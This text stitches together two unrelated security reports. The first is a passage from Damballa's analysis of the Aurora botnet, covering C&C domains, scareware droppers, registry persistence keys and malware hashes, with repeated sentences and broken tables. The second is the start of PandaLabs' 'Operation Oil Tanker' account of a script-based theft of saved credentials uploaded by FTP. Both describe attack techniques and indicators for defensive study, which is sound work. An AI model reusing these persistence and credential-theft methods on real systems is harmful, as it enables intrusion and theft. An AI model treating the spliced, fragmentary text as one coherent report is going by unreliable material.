Such centralized control speaks to the management of the botnet, and gives clues as to the policy preferences of the botmaster to attack/not attack a given suite of networks or countries.
Hosts performing DNS queries exhibited a random pattern of A queries.
The TTL periods for the CnC domains was always short, meaning there was only a short period of time during which a stub query could be answered from cache, and not recorded at the authority.
This behavior is typical of fast flux The Command Structure of the Aurora Botnet Page 17 networks.
An increase in TTL from 60 to 360 seconds was identified, which signifies the cut over from the default zone TTL to the SOA.minimum used for wildcarded domains.
Thus, the DDNS domains used in the attack appear to have been deregistered before December 18 and remained open for anyone in the world to register until the first week of January 2010.
The Malware Evolution Aurora malware families date as far back as August of 2009.
This trail helps determine the evolution and common characteristics of malware used by Operation Aurora, as well as a common modus operandi on the bot agents deployed as part of the attacks.
The result is more than just an analysis of individual malware families.
Rather, it helps profile the criminal operators behind Aurora via: Malware Delivery Method  How does the malware get into the system?
Is there a common delivery method or is it random?
System Behavior  Are the symptoms evident in the system common to all Aurora malware families or do they differ?
Do the families use the same infection techniques, protection mechanisms and/or AV evasion techniques?
Network Behavior Do the malware families exhibit the same network behavior?
CnC Server Trials Powered by Zero-Day Malware Variants The table below lists significant events in the deployment and use of one of the Aurora botnet CnC servers known to the public, filoups.info, based on our data mining and analysis of malware samples and network traffic collected by Damballa.
Several initial trials were conducted by the botnet operator prior to the production use of this CnC server.
The first set of CnC domains appeared in a FakeAV Trojan malware family1-a in the beginning of May 2009.
There were several variants of the family1 malware in the wild in 2009.
The second set of CnC domains was used by a new family1-b malware variant in October 2009.
By leveraging new Zero-Day malware variants, the botnet operator(s) could easily evade AV product detection and experiment with different CnC domain construction and communication.
For example, different combinations of CnC domains were tried by both family1-c and family1-d malware variants in late October 2009.
Finally, the CnC domain filoups.info was deployed and used by malware family1-e in November 2009.
Domain mcsmc.org X X X X X thcway.info X X miecros.info  X mnprfix.cn  X micronetsys.org  X filoups.info  X MD5 family1-a family1-b family1-c family1-d family1-e Date 5/2/2009 8/18/2009 10/20/2009 10/22/2009 11/26/2009 Table 5: Botnet CnC trial evolution powered by Zero-Day malware variants.
The Command Structure of the Aurora Botnet Page 18 The family1-e malware is part of Fake AV Alert/Scareware family analyzed below.
The behavior of Fake Alert/Scareware is quite similar to Trojan.
Hydraq malware associated with the actual Aurora attacks, albeit in a much more primitive form.
Sample Analysis Details The additional samples in Damballas possession that have been clustered as part of Aurora botnet malware can be separated into two distinct families of Fake AV Alert / Scareware: Login Software 2009 and Microsoft Antispyware Services.
The first samples of each family were discovered by Damballa on November 26 2009 and August 19, 2009 respectively.
The analysis details are broken down into the following: First Discovered  The time when the sample was first discovered and acquired by Damballa.
Prevalence  The date range when the samples are still being seen in the wild by Damballa.
Infection Vector  How the samples are delivered to the unsuspecting victims.
Symptoms  Observable behaviors in the system that signals the possible presence of malware without actually looking at the registry or searching for the malware file itself.
System Behavior  How the malware works its way through the system to execute its objective.
Network Behavior  A detailed look at how the malware utilizes the domains it connects to.
Protection Mechanism  How the malware hides from the user or system inspection tools.
AV Evasion Techniques  How the malware protects itself from being detected by AV host solutions.
Intent  The main purpose of the malware family The Command Structure of the Aurora Botnet Page 19 Fake AV Alert / Scareware  Login Software 2009 Fake Microsoft Antispyware Service Discovered 2009-11-26 2009-08-19 Prevalence November 2009  January 2010 August 2009  September 2009 Infection Vector Fake AV alerts on compromised or malicious Web sites Fake AV / Scareware Symptoms  Login Software 2009 process in startup Menu Bar and Toolbar of Internet Explorer is missing System Restore is disabled Folder Options in Windows Explorer is disabled Extensions of known file types are hidden Registry Tools disabled, rendering registry editing inoperable Local Settings folder under C:\Documents and Settings\User\ (where the malware dropper places the dropped and downloaded executables) Presence of C:\Documents and Settings\User\Windows\system folder Pop-up ads Presence of tracking cookies and displays ads from: counter.surfcounters.com looksmart.com maxsun.biz moreverde.com oranges88.com smarttechnik.com www.prma-enhance.com Microsoft Antispyware Services process in startup System Behavior Malware propagates through fake malware alerts.
The supposed AV installer is actually the malware dropper.
Its main purpose is to drop and install the rest of the malware components.
Upon execution, it assigns a specific ID to the compromised host, then Malware propagates through fake malware alerts.
The supposed AV installer is actually the malware dropper.
Its main purpose is to drop and install the rest of the malware components, typically: The Command Structure of the Aurora Botnet Page 20 registers it to its malware server Web site and downloads the rest of the malware to the compromised host.
To ensure that the malware is downloaded, the creator of this malware dropper uses redundancy in its malware serving Web infrastructure.
The dropper checks three different Web sites: mcsmc.org micronetsys.org mnprfix.cn When Damballa discovered this malware dropper in August 2009, the downloaded executable was version 0.
The current version is 3.
The functionalities remain similar.
After the successful download of the main component, the main dropper generates a random name and copies the downloaded component to C:\Documents and Settings\User\Local Settings folder.
It calls itself Login Software 2009.
The dropped file is then executed to make it active in memory.
It survives reboot by autostarting using a common registry entry: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run The rest of the components must also be downloaded and executed for them to be active.
They are placed in the same folder as the first dropped file.
These components create exact copies of themselves with names varying from: debug.exe mqbxt.exe msinits.exe win16.exe winlogon.exe lsass.exe drweb.exe taskmgr.exe win32.exe EXE  The component posing as Microsoft Antispyware Services VXD  The main dropper downloads and installs ntconf32.vxd, ntsys32.vxd, msimsg32.vxd SYS The main dropper downloads and installs msconfig32.sys Once the dropper has executed, it can easily bypass UAC since it is given explicit permission by the user, who thought the installation was a real AV product.
The first thing the dropper does is to connect to its malware server domain to download its components.
The VXD components are often connected to malware families that have keylogging and spyware behavior.
They are also found in some IRC bots.
The SYS Component is related to the publicly known and notoriously popular Aurora variant tied to the Google attack.
The EXE component disguises itself as Microsoft Antispyware Services.
It runs on Startup using two basic registry keys: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVers ion\Run and HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Run This screen capture shows the dropper attempting to connect to Amazon EC2.
The Command Structure of the Aurora Botnet Page 21 These components are hidden from the user by hiding the folder where they are dropped and changing the attributes of the dropped files to hidden.
To survive reboot, these components also are set to autostart using the same technique as the main dropped file.
A DLL file is also dropped in C:\Windows\System32 with a random filename.
Aside from registering (regsvr32.exe) the dropped DLL file to make it active, the malware dropper also modifies the registry to see it as a Browser Helper Object (BHO).
It also sets up the DLL to autostart every boot up by using SharedTaskScheduler: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ SharedTaskScheduler This process paves the way for tracking cookies to be downloaded for ads to be served to the compromised host.
This DLL is not hidden unlike the other components.
After setting up all the dropped files, the main dropper protects the dropped files by manipulating the settings of Windows Explorer and Internet Explorer.
See Protection Mechanism section for more details.
Once all of these malware installation tasks are completed by the main dropper, the main dropper activates a batch file to unload itself from memory and deletes both the dropper and the batch file.
The installed malware set is now all active and ready to communicate with CnC.
This screen capture shows a memory string dump that reveals the CnC sought by the EXE malware component.
The Command Structure of the Aurora Botnet Page 22 This screen capture shows a memory string dump that reveals the CnC sought by the EXE malware component Network Behavior The malware uses domains for two purposes: a malware server domain that hosts the dropped executables and a CnC connection to listen for additional commands.
The malware uses domains for two purposes: malware server domain that hosts the dropped executables and a CnC connection to listen for additional commands.
This malware uses Amazons EC2 services to serve its malware components.
Malware Server Domains mcsmc.org micronetsys.org mnprfix.cn ec2-79-125-21-42.eu-west-1.compute.amazonaws.com ip-173-201-21-161.ip.secureserver.net inekoncuba.inekon.co.cu The Command Structure of the Aurora Botnet Page 23 CnC Domains filoups.info miecros.info The dropped samples do not listen to the same CnC most of the time.
Each listens to a different CnC using a different port.
google.homeunix.com yahoo.blogdns.net voanews.ath.cx ymail.ath.cx Protection Mechanism The main dropper also utilizes Malware Self Preservation by doing the following before it self-destructs: Hides the location of the malware dropped files by setting the location folder as hidden and the dropped files themselves as hidden.
Disables Folder Options in Windows Explorer Disables Show hidden files and folders in Windows Explorer Hides Internet Explorers Menu Bar and Toolbar Disables System Restore Disables Registry editing None observed.
AV Evasion Techniques No two dropped files are the same.
The malware uses GetTickCount to generate random keys to randomize the hex structure of dropped files.
One dropped file (273a51aada271e5a4a91321a3126c767) is packed using FSG v1.3.3.
None observed.
Intent Money generation through pop-up ads and Web site redirection Keylogging and spyware.
MD5 Information Samples Collected/Discovered by Damballa ITW: 02677a0770268a20f7ef0d9bd7e8eef1 9803c22252a028b050f6257e7a67d4b7 69ef60094052321d91c0094efd832b92 6e245522d710ca1564e6873a3a0e82bd 0c091b4f6b23b450ccc3d37ccff6cdd6 994a379ff057724248d8435c9be45c1f b5b7146b07b0a0804b36b8056f316722 65510cda14bcefd2419eb1262a6d6829 Samples Collected/Discovered by Damballa ITW: a4a63756c39e345e31f1e8e698ea03a6 2794cacb3f177f340dee0aa2a71bdf1c 2f6c8d68392839cb4615c455cd25fc9c 20ddc972f71c8e584ed2c43254eb811b 1326879b25dd0d7452d7a4b674165a5a () denotes that no Rich signature present in the file () encrypted The Command Structure of the Aurora Botnet Page 24 01b9c2c916e6d9a82bfc5912348a231f 0b4872a4f20760739b0007c6b2dc08bd 253f59417c6c784d6c0e5565736d1815 273a51aada271e5a4a91321a3126c767 325566e0871ac3d4fccfbb0b4efd8d07 38ee6476ffe7473707520ef7f5ed5ecb 62686fd8a1c24abfb7a621e5629ce4ab 69ef60094052321d91c0094efd832b92 6e245522d710ca1564e6873a3a0e82bd 73a88fa854e766d5d3e712db8291bcc8 863a096685354b2730ad9dfd7e91e942 b8a177d99854ccc71e94a4a6645e85e7 d112a2ed6c675158295acb4824b481d8 feb88ea662de113dcafbe45bdece82fc () denotes that no Rich signature present in the file () encrypted Malware Diagram The Command Structure of the Aurora Botnet Page 25 Malware Summary of Findings and Analysis The predecessor Aurora malware comes from two different families.
The newer family came immediately 2 months after the older family, and there was no overlap in their prevalence.
For the older family, there was neither an observable protection mechanism nor an AV evasion technique.
It was simply a dropper for keylogger files.
The newer family has some protection mechanisms and AV evasion techniques.
However, it lacks the sophistication found in other botnet malware families.
Below is a summary of the findings of the two malware families that were analyzed.
Common characteristics: 1.
Served through fake AV hosting Web sites (no longer available) 2.
Common autostart techniques 3.
Common older stealth techniques 4.
Multiple malware server domains to improve resiliency 5.
Droppers and dropped files (EXE and DLLs) were compiled using Microsoft compilers Differences: 1.
Main malware component: a. November 2009 Family  uses DLL file as one of its components b. August 2009 Family  uses VXD and SYS files 2.
Main function: a. November 2009 Family  pop-up ads b. August 2009 Family  Suspected keylogger (actual files are no longer available for analysis) 3.
Protection Mechanism: a. November 2009 Family  uses basic protection mechanisms to hide itself b. August 2009 Family  none observed Comparing them to Trojan.
Hydraq: 1.
Code obfuscation Trojan.
Hydraq uses spaghetti code in which program elements are separated into small chunks and connected via jump instructions.
This technique complicates following the code, and is similar to the tactics employed in old PE viruses that write to small spaces in the host and connect themselves through jump instructions.
November 2009 Family  Does not use any code obfuscation.
One dropped file is actually packed using FSG v1.33.
August 2009 Family  None observed.
2.
Autostart Technique Trojan.
Hydraq uses Svchost process in Windows by adding its service name in netsvcs.
When Windows starts, it will load the service into memory.
November 2009 Family  Uses common autostart technique using the Run key.
The Command Structure of the Aurora Botnet Page 26 August 2009 Family  Uses common autostart technique using the Run key.
3.
Intent / Payload Trojan.
Hydraq  Information gathering November 2009 Family  Pops up ads and Web site redirector August 2009 Family  Information gathering Malware Significance Basing on the profile of the two malware families that were analyzed, they are obviously different from each other.
The key thing they have in common is that the CnC they utilize are publicly associated with the Aurora botnet.
The botnet controllers preyed on the fear of users that their system is infected with malware.
This method saves the botnet controllers from the technical complexity of bypassing Windows UAC by using the weakest link in host security  which is the user.
The misled user typically clicks OK to everything, bypassing UAC and giving the malware dropper explicit permission to execute.
Neither of the malware predecessor families exhibit the sophistication found in newer malware.
Some of the evasion techniques are almost a decade old.
Both families use two sets of domains: one for serving malware and the other for CnC.
The droppers and dropped files were compiled using Microsoft Compilers.
This is evidenced by the presence of the string Rich before the PE header.
This watermark is undocumented, meaning there is no mention of this watermark from Microsoft references but they are present in binaries compiled using Microsoft Compilers.
Knowing the compiler of choice might help investigators narrow down the individuals or group of individuals responsible for the code.
The simplicity and relative obsolescence of the early versions of the Aurora malware suggest that these malware families were created or written by an individual or group of individuals new to the production of commercial grade malware.
Based solely on these families of malwares, it also appears that different individuals or group of individuals created the code: The only association the different families have with each other is that they used CnCs associated with Operation Aurora, and they were distributed via similar means.
That said, it is possible that two different groups purchased the services of the same crimeware group (probably the same people behind Operation Aurora) to distribute and manage their malware family.
Or the crimeware group rented out different variants of the same malware to different groups with different intentions.
Price may also be a factor.
The less resilient the malware family is, the cheaper it is to purchase or rent.
The intent of each malware family is different.
There is no natural progression seen between the two families.
Usually malware writers evolve in both technology and protection of their creation but these two families did not show any related evolution.
The malware families appear to exist independently, and then become superseded by Trojan.
Hydraq.
Piecing it Together Damballa analyzed network DNS information from a number of distinct and complementary sources ranging from global monitoring systems, enterprise monitoring sensors, passive DNS resolution data The Command Structure of the Aurora Botnet Page 27 and other DNS streams for this report.
At the same time, Damballa also analyzed the malware commonly associated with the Aurora attacks disclosed by Google in January.
The result has been a definite correlation between key CnC channels with other malware families that are associated with the criminal operators behind the Aurora botnet.
Based upon our analysis of this attack and the surrounding evidence currently available, we classify the attacks against Google and the other previously identified victim organizations as being typical of current botnet criminal practices.
The attack is most notable not for its advanced use of an Internet Explorer 6 Zero-Day exploit, but rather for its unsophisticated design and a pedigree that points to a fast-learning but nevertheless amateur criminal botnet team.
DDNS Findings Summary Based upon Damballas investigation of DDNS data, the key findings are as follows: 1.
The botnet has a simple command topology and makes extensive use of DDNS CnC techniques.
The construction of the botnet would be classed as old-school, and is rarely used by professional botnet criminal operators any more.
However, such reliance upon DDNS CnC is commonly associated with new and amateur botnet operators 2.
There were several CnC domains were identified based upon key characteristics of the registration and management of the previously publicly disclosed CnC domains.
3.
The major pattern of attacks in mid-December appear to have their origin in July 2009 in mainland China.
This likely corresponds to early testing of the botnet CnC.
4.
Some of the infections appeared to start within Googles network.
Some of apparent botnet the traffic is not consistent with an IE6/WinXP infection and cannot be easily explained.
5.
The attackers had access to large numbers of CnC hosts in geographically diverse hosting co- locations  certainly a high number for a botnet.
Further, the botnet used over a dozen domains in diverse DDNS networks for CnC.
6.
Only the US victims were compelled to perform MX queries, an event that would typically indicate attempted document exfiltration via email services.
7.
Some of the botnets focused on victims outside of Google, suggesting that each domain might have been dedicated to a distinct class or vertical of victims.
8.
A review of the TTL period suggests that botmasters de-registered their domains around December 18, 2009.
Passive DNS Data Summary Based upon analysis of DNS resolution data gathered through a global network of passive DNS monitoring sensors, the key findings are as follows: 1.
Cumulative volume of CnC domain name resolutions provides adequate sampling to identify the initialization and growth phases of the Aurora botnet, which also reveals active operation of the CnC channels dating back to June 14th 2009.
2.
The victims computers connected to, or were part of, 64 different networks, based upon Autonomous Systems (AS) breakdown of Internet netblocks which could represent the upper bound of organizations that may have been breached in the larger Aurora attack.
Some organizations (such as Google) own and manage several AS networks.
Some of the other AS networks were associated with public Internet Service Providers, which may encompass multiple small and medium businesses.
The Command Structure of the Aurora Botnet Page 28 3.
The various CnC domains used by the criminal botnet operators peaked at different times with different rates of lookup by victim systems.
These observations correspond to different campaigns run in parallel by different botnet operators and represent the widely publicized attacks that appeared to make use of the Internet Explorer 6 Zero-Day exploit.
It is a common tactic by botnet operators to run multiple campaigns at the same time, using different infection vectors (e.g.
drive-by downloads, FakeAV, USB infections, etc.)
over extended periods of time.
This strategy is very consistent with APT campaign methodologies.
4.
The vast majority of victim systems appear to have been based in the United States.
5.
It is possible to identify the various CnC testing, deployment, management and shutdown phases of the Aurora botnet CnC channels.
Some of the CnC domains appear to have been dormant for a period of time after they had infected number victim systems.
This type of activity can sometimes be associated with an update to the botnet malware or if the criminal operator sells/trades a segment of the botnet to another criminal operator.
Malware Analysis Summary Damballa has an array of sources for obtaining new and Zero-Day malware that range from commercial security sharing programs and spam traps to samples gathered from within its enterprise customers networks.
By automatically analyzing tens-of-thousands of new and unique samples each day and extracting their CnC behaviors, Damballa can cluster these malware variants with different botnets.
Based upon our analysis of malware samples that relied upon the Aurora CnC domains, our key findings are as follows: 1.
The botnet operators behind the Google Aurora attacks deployed other malware families prior to the Trojan.
Hydraq release.
Some of these releases overlapped with each other.
2.
Two additional families of malware (and their evolutionary variants) were identified as Fake AV Alert / Scareware  Login Software 2009 and Fake Microsoft Antispyware Service  both of which were deployed using fake antivirus infection messages to socially engineering the victim into installing the malicious botnet agents.
3.
By tracking the evolution of the malware, Damballa was able to identify additional botnet CnC domains used by the criminal operators and establish a timeline of malware associations going back to May 2nd 2009, based upon when a malware sample was captured within an enterprise customer network.
4.
Over the time period of this study, the botnet operators improved upon the malware they were deploying.
The relative sophistication and armoring of the malware families grow over the months the operators were deploying it, and when they transitioned to entirely new malware families.
5.
The major malware families associated with the Aurora botnet attacks are distinct and are unlikely to have been developed by the same malware engineer.
This finding is typical of the botnets that Damballa observes targeting enterprise networks.
Relatively few botnet criminal operators develop and maintain their own malware.
Instead, they typically rely upon third- party contractors or off-the-shelf malware construction kits.
As such, core features and functionality changes can occur overnight, but the CnC transitions slowly as the botnet operator ensures that backup CnC domains remain in operation until the victim malware updates (or migration) is complete.
The Command Structure of the Aurora Botnet Page 29 Conclusions Damballas findings concerning Operation Aurora can be summarized by the following: At the time the attack was first noticed by Google in December 2009, systems within at least 7 countries had already been affected.
By the time Google made the public disclosure of the attack on January 12 2010, systems in over 22 countries had been affected and were attempting to contact the CnC servers - the top five countries being the United States, China, Germany, Taiwan and the United Kingdom.
The Trojan.
Hydraq malware, which has been previously identified as the primary malware used by the attackers, is actually a later staging of a series of malware used in the attacks which consisted of at least three different malware families.
Two additional families of malware (and their evolutionary variants) have been identified, and they were deployed using fake antivirus infection messages tricking the victim into installing the malicious botnet agents.
The attacks that eventually targeted Google can be traced back to July 2009, with what appears to be the first testing of the botnet by its criminal operators.
The analysis identifies the various CnC testing, deployment, management and shutdown phases of the botnet CnC channels.
The botnets used dozens of domains in diverse Dynamic DNS networks for CnC.
Some of the botnets focused on victims outside of Google, suggesting that each set of domains might have been dedicated to a distinct class or vertical of victims.
Some of the CnC domains appear to have been dormant for a period of time after they had infected a number of victim systems.
This can occur after the botnet operator has updated the botnet malware with new (more powerful) variants or when the criminal operator sells/trades a segment of the botnet to another criminal operator.
There were network artifacts that suggest that the botnet malware operating with the US-based victims networks made use of email services to extract the stolen data from the breached organizations.
There is evidence that there were multiple criminal operators involved, and that the botnet operators were of an amateur level.
The botnet has a simple command topology and makes extensive use of Dynamic DNS CnC techniques.
The construction of the botnet would be classed as old-school, and is rarely used by professional botnet criminal operators today Damballa was able to discover these details on Operation Aurora because of a different approach to researching and neutralizing botnets and other remote-controlled crimeware threats.
Command-and- Control  not malware or access point for the attack vector  is the essential element for a successful botnet attack.
Everything else about a botnet may change, but CnC must remain in place for the botnet to act in any sort of cohesive manner.
Damballa is the only company that monitors detailed criminal CnC activity within enterprise networks and uses this focus to detect and sever malicious CnC communications.
As a result, Damballa has been collecting CnC data for over 4 years, utilizing a globe-spanning array of network sensors within large enterprise customers and Internet Service Provider (ISP) customers.
It is this deep visibility into Operation Aurora Cnc that revealed the details in this report.
Although the methods used in Operation Aurora are amateurish and commonplace, the results were just as damaging as a sophisticated botnet because the threat was not quickly identified and neutralized.
Auroras success proves that any breach by a botnet agent, regardless of the quality of the attack vector, is a dangerous security exposure.
The result is always hidden and criminal remote The Command Structure of the Aurora Botnet Page 30 control of enterprise assets, with all of the legal, financial and reputational liabilities that accompany such a serious security lapse.
Additional Reading How can I tell if I was infected by aurora, McAfee, 2010, http://www.mcafee.com/us/local_content/reports/how_can_u_tell.pdf Extracting CnC from Malware: The Role of Malware Sample Analysis in Botnet Detection, Damballa, 2009, http://www.damballa.com/downloads/r_pubs/WP_Malware_Samples_Botnet_Detection.pdf Serial Variant Evasion Tactics: Techniques Used to Automatically Bypass Antivirus Technologies, Damballa, 2009, http://www.damballa.com/downloads/r_pubs/WP_SerialVariantEvasionTactics.pdf Botnet Communication Topologies: Understanding the intricacies of botnet Command-and-Control, Damballa, 2009, http://www.damballa.com/downloads/r_pubs/WP_Botnet_Communications_Primer.pdf The Botnet vs. Malware Relationship: The One-to-One Botnet Myth, Damballa, 2009, http://www.damballa.com/downloads/d_pubs/WP_Botnet_vs_Malware.pdf MTrends: The Advanced Persistent Threat, Mandiant, 2010 Google china cyberattack part of vast espionage campaign, experts say, Washington Post, 2010, http://www.washingtonpost.com/wp-dyn/content/article/2010/01/13/AR2010011300359.html Trojan.hydraq, Symantec, 2010, http://www.symantec.com/security_response/writeup.jsp?docid2010- 011114-1830-99 Contributors Manos Antonakakis Christopher Elisan David Dagon Gunter Ollmann Erik Wu The Command Structure of the Aurora Botnet Page 31 About Damballa, Inc. Damballa stops crimeware threats that exploit enterprise networks for illegal activity by finding and disrupting the hidden communications channels used to control internal servers and hosts.
This concentrated focus on malicious remote control delivers fast, accurate insight into advanced network threats, including termination of criminal activity and remediation guidance.
Damballas technology integrates easily with existing infrastructure for cost-effective protection against dangerous security breaches that evade other solutions.
The result is smarter, more flexible network security that stops current and future threats, prevents fiduciary breaches and enhances regulatory compliance.
Damballas customers include major banks, Internet service providers, government agencies, educational organizations, manufacturers and other organizations concerned with taking back the command-and-control of their networks.
Privately held, Damballa is headquartered in Atlanta, GA.
Copyright  2010, Damballa, Inc. All rights reserved worldwide.
This page contains the most current trademarks for Damballa, Inc., which include Damballa and the Damballa logo.
The absence of a name or logo on this page does not constitute a waiver of any and all intellectual property rights that Damballa, Inc. has established in any of its products, services, names, or logos.
All other marks are the property of their respective owners in their corresponding jurisdictions, and are used here in an editorial context, without intent of infringement.
pandasecurity.com Operation Oil Tanker The Phantom Menace pandasecurity.com pandalabs Operation Oil Tanker: The Phantom Menace.
Everything started on a cold January day in a coastal town in the North East of England, an area with a strong presence of petrochemical companies.
The day began normally in one of these companies, a firm specializing in, among other things, maritime oil transportation.
Lets call this company Black Gold.
John, the head of Black Golds IT Department knows that we live in a dangerous world, and that companies face thousands of cyber-attacks every day.
And although Black Gold is not included in the Fortune 1000 company list, John knew that taking all possible safety precautions is a must and that, in addition to having a corporate antivirus, they must maximize all other security measures.
Thats why when given the opportunity to take part in a pilot program involving a new service that monitors all applications running on endpoints, reporting the security status of the network and providing forensic information in the event of infections, he didnt think twice.
After completing a series of controlled tests, John decided to deploy the small agent across the companys network October 2013.
The information he received during the first three months helped to identify computers at risk where vulnerable applications were found.
Apart from that, nothing worth mentioning really happened.
Thanks to John, Black Gold joined a high IT security pilot program.
pandasecurity.com pandalabs One day, however, while Susan, a secretary with more than 20 years of experience at Black Gold, was checking her email as she did every Monday morning, she came across an email message with an attached document.
The document appeared to be a PDF file of approximately 4MB in size, with information about the oil market.
Nothing suspicious.
Besides, the message in question had gone through every security filter in place.
Neither the mail server antivirus nor the antivirus on her workstation had found anything anomalous in it.
Susan double-clicked the attachment.
A blank PDF opened.
This must be a mistake.
I hope they realize it and send us the correct file again, Susan thought, moving on to the next unread message.
Meanwhile, 1,700 km away from Susans computer, an alarm was triggered.
An unknown threat had just been detected and blocked when it tried to steal credentials from Susans computer and send them out.
Today, most computer threats are designed to steal information from target systems, so this just looked like thousands of cases we examine in the laboratory every day.
However, it caught our attention that no antivirus engine had been able to detect it, although this shouldnt be so surprising if you take into consideration that every day over 250,000 new malware files are put in circulation.
There was something really unique about this threat: it didnt use any kind of malware.
Thats why we decided to call it the Phantom Menace.
Susan just clicked twice, and the Phantom Menace was triggered.
pandasecurity.com pandalabs Attack analysis The file that Susan received and opened looked like this.
It actually was an executable file that used the icon typically used by Adobe Acrobat Reader documents to trick users.
The figure below illustrates the execution flow: pic.pdf stat.vbs deca.bat dcp.exe unzip2.exe bare.zip unzip.exe bar.zip sai.vbs ici.bat cogi.reg aagi.bat iei.bat iewi.bat di.vbs keeprun.ini mdei.abc image.abc images.abc picture viewer.abc deca.bat dcp.exe secret The file is just a self-extracting file.
Once run, it creates a folder and extracts six files into it.
It then runs one of them stat.vbs and does not take any more actions.
There is no malicious activity, so the file goes unnoticed by behavior-based detectors.
The stat.vbs file simply runs another file deca.bat in the background.
This file in turn opens the pic.pdf file (the blank PDF document that opened on Susans computer) and runs a file called dcp.exe, a free tool to encrypt files.
This utility is used to decrypt the following two files: Next, it uses the unzip.exe program to extract the content of the bare.zip file (12 files) into a different folder.
Then, it runs one of the files: sai.vbs.
pandasecurity.com pandalabs None of these actions are anomalous, and actually are very different from what we normally see in other types of attacks.
Here is where the second part of the attack begins: keeprun.ini sai.vbs ici.bat cogi.reg aagi.bat image.abc images.abc picture viewer.abc mdei.abc keeprun.ini iei.bat di.vbs iewi.bat image.exe images.exe picture viewer.exe mdei.exe KeepRunning ici.bat aagi.bat0x01209900 (???)
0x00000004 (4) 0x00000001 (1) 0x00020000 (131072) .abc         .exe PIC_d_trename FTP iei.bat di.vbs iewi.bat attrib off The .vbs file runs a .bat file that modifies the Windows registry to ensure that a file called aagi.bat is run every time the system starts.
Then, it makes a copy of the four files with the extension .abc, and changes their extension to .exe.
These are all legitimate applications that anybody could use: the first three are designed to collect the credentials (user names and passwords) stored in the local mail client and Internet browser, and save them to a text file.
The fourth one is an application designed to run another application every x seconds.
This is very useful for computers that need to run an application at all times, like a browser or any other specific software, so that if the application closes unexpectedly for some reason it will open again.
In this case the application is configured to run another .bat file every 3,600 seconds (every hour).
Then, the ici.bat file uses the ATTRIB system command to hide the two folders it created, disables the Windows firewall, and renames the text files containing the credentials to  PIC_d_t, where d is the current date and t the current time.
This is done to indicate when the information they contain was obtained.
Finally, it uses the FTP command to upload those files to an external FTP server controlled by the attackers.
pandasecurity.com pandalabs Additionally, it runs the file iei.bat every hour, which basically takes the following actions: iewi.bat .abc .exe 0x01209900 (???)
0x00000004 (4) 0x00020000 (131072) image.exe images.exe picture viewer.exe PIC_d_t delete cogi.reg rename FTP It renames the .abc files back to .exe, in case they were deleted.
It then deletes all the text files with credentials that were already uploaded to the FTP server, restores the Windows registry key in case it was deleted, runs the applications designed to collect credentials, renames the resulting files and uploads them to the FTP server.
As you can see, no malware is ever used in the attack, the hack makes use of legitimate tools and different scripts to perform the aforementioned actions.
But, is this type of attack really effective?
As mentioned before, no antivirus was capable of detecting it.
Furthermore, its peculiarities seem to indicate that the proactive protection layers included in most antivirus solutions would not be able to detect its apparently harmless behavior.
This was confirmed when we accessed the FTP server that the stolen data was sent to, and found that the oldest files dated back to August 2013.
That is, the attack had been underway for almost six months completely undetected.
pandasecurity.com pandalabs A targeted attack?
Once we accessed the FTP server, the first thing we did was  look for credentials belonging to Black Gold, since, despite being able to neutralize the attack on Susans computer, another employee could have fallen victim to it.
The result was negative, no credentials had been stolen from the company.
However, we were surprised by the large number of files stored on the FTP server: over 80,000 text files with stolen credentials from other firms.
This didnt look like a targeted attack, where the number of victims is usually low.
However, after opening three files at random, we found that they belonged to three companies all in the same industrial sector that Black Gold belongs to.
As mentioned in the previous section, the attack took place recurrently every hour.
This means that stolen credentials were sent to the FTP server every hour.
We discarded duplicate files and ended up with 860 unique files.
That was still too many files for a targeted attack.
The only thing left to do was manually process all these files and try to identify the victims.
The files belonged to some ten companies, all of them in the oil and gas maritime transportation sector.
It was clear that the hack was indeed a targeted attack, but we still didnt know what the attackers were really after, what their final objective was.
What didnt seem a targeted attack at first, ended being a whole conspiratorial plot against the sector.
pandasecurity.com pandalabs Nigeria, scams and oil The so-called Nigerian scams have been a constant presence on the Internet since its inception, and even before that, when fraudsters used postal mail to defraud victims.
In the most popular one, the scammer passes themselves off as an important figure in the Nigerian government or some other institution, and contacts the victim offering them a share in a large sum of money that they want to transfer out of the country.
However, the Nigerian scam industry is large and varied.
Some variants are almost unknown and affect all kinds of sectors,  including the oil industry.
The Nigerian town of Bonny is well-known in oil production circles as the oil produced there, known as Bonny Light Crude Oil (BLCO), has a very low sulfur content, which makes it a highly desired grade for its low corrosiveness.
The fact that this particular type of oil is in such high demand has given rise to a particular type of scam aimed at oil brokers, individuals who arrange transactions involving crude oil between buyers and sellers.
In Nigeria, every gas and oil transaction is supervised by the NNPC (Nigerian National Petroleum Corporation), a government-owned company.
Anybody who wants to trade with oil in Nigeria must be registered with the NNPC.
In short, the scam works like this: the scammer contacts a broker/middleman and offers them a large amount of BLCO, one to two million barrels, at a very competitive price.
If the potential buyer is interested, they will ask for documentary evidence that the product exists (Proof of Product).
There are different types of documents that can be provided: a quality certificate, a certificate of origin, a cargo manifest, or the letter of ATS (Authority to Sell) issued by the NNPC.
To close the deal, the buyer must pay a significant amount of money -from 50,000 to 100,000- in advance.
However, once they pay the money they are met with the nasty surprise that there is no oil.
The weakest link in the scam is the documentation that the scammer must provide to convince the buyer.
Even though all of these documents can be forged, the fraudster runs the risk of being discovered by the broker.
To make it more plausible, scammers attempt to use real documents so that if the broker wishes to check their legitimacy, they will see that they are real.
However, how difficult is it to obtain these documents?
It is very complicated.
The only way to do it is from companies in the sector.
Oil transportation companies, for example.
This was just a theory, at that time we didnt have any evidence to prove that that was the objective of those responsible for the Phantom Menace attack.
pandasecurity.com pandalabs Is it possible to know who is behind the attack?
In most cases, getting to know who is behind a cyber-attack is very complex, sometimes impossible.
In this case we were fairly pessimistic.
To make it worse, the fact that no malware had been used in the attack ruled out the possibility of finding a signature to examine.
However, there was a weak spot in the attack: the FTP connection used to send out the stolen credentials.
The information was transmitted using the FTP command, and as that command was called by one of the scripts, it was possible to see the connection used, from where it was established and the credentials used.
The FTP server belonged to a free service that the attacker had signed up to, so we were able to access it and see the information entered when opening the account.
Yes, we were aware that the information would probably be false, but it was still worth checking.
The name used was false googling it returned zero results.
The country selected was the United States, which could be false as well.
Then we had a look at the city information.
The name in this field was unknown to us: Ikeja.
It turns out that Ikeja is the name of a suburb in Lagos -the capital city of Nigeria-, also known as the Computer Village as it hosts the nations largest market cluster for technology products.
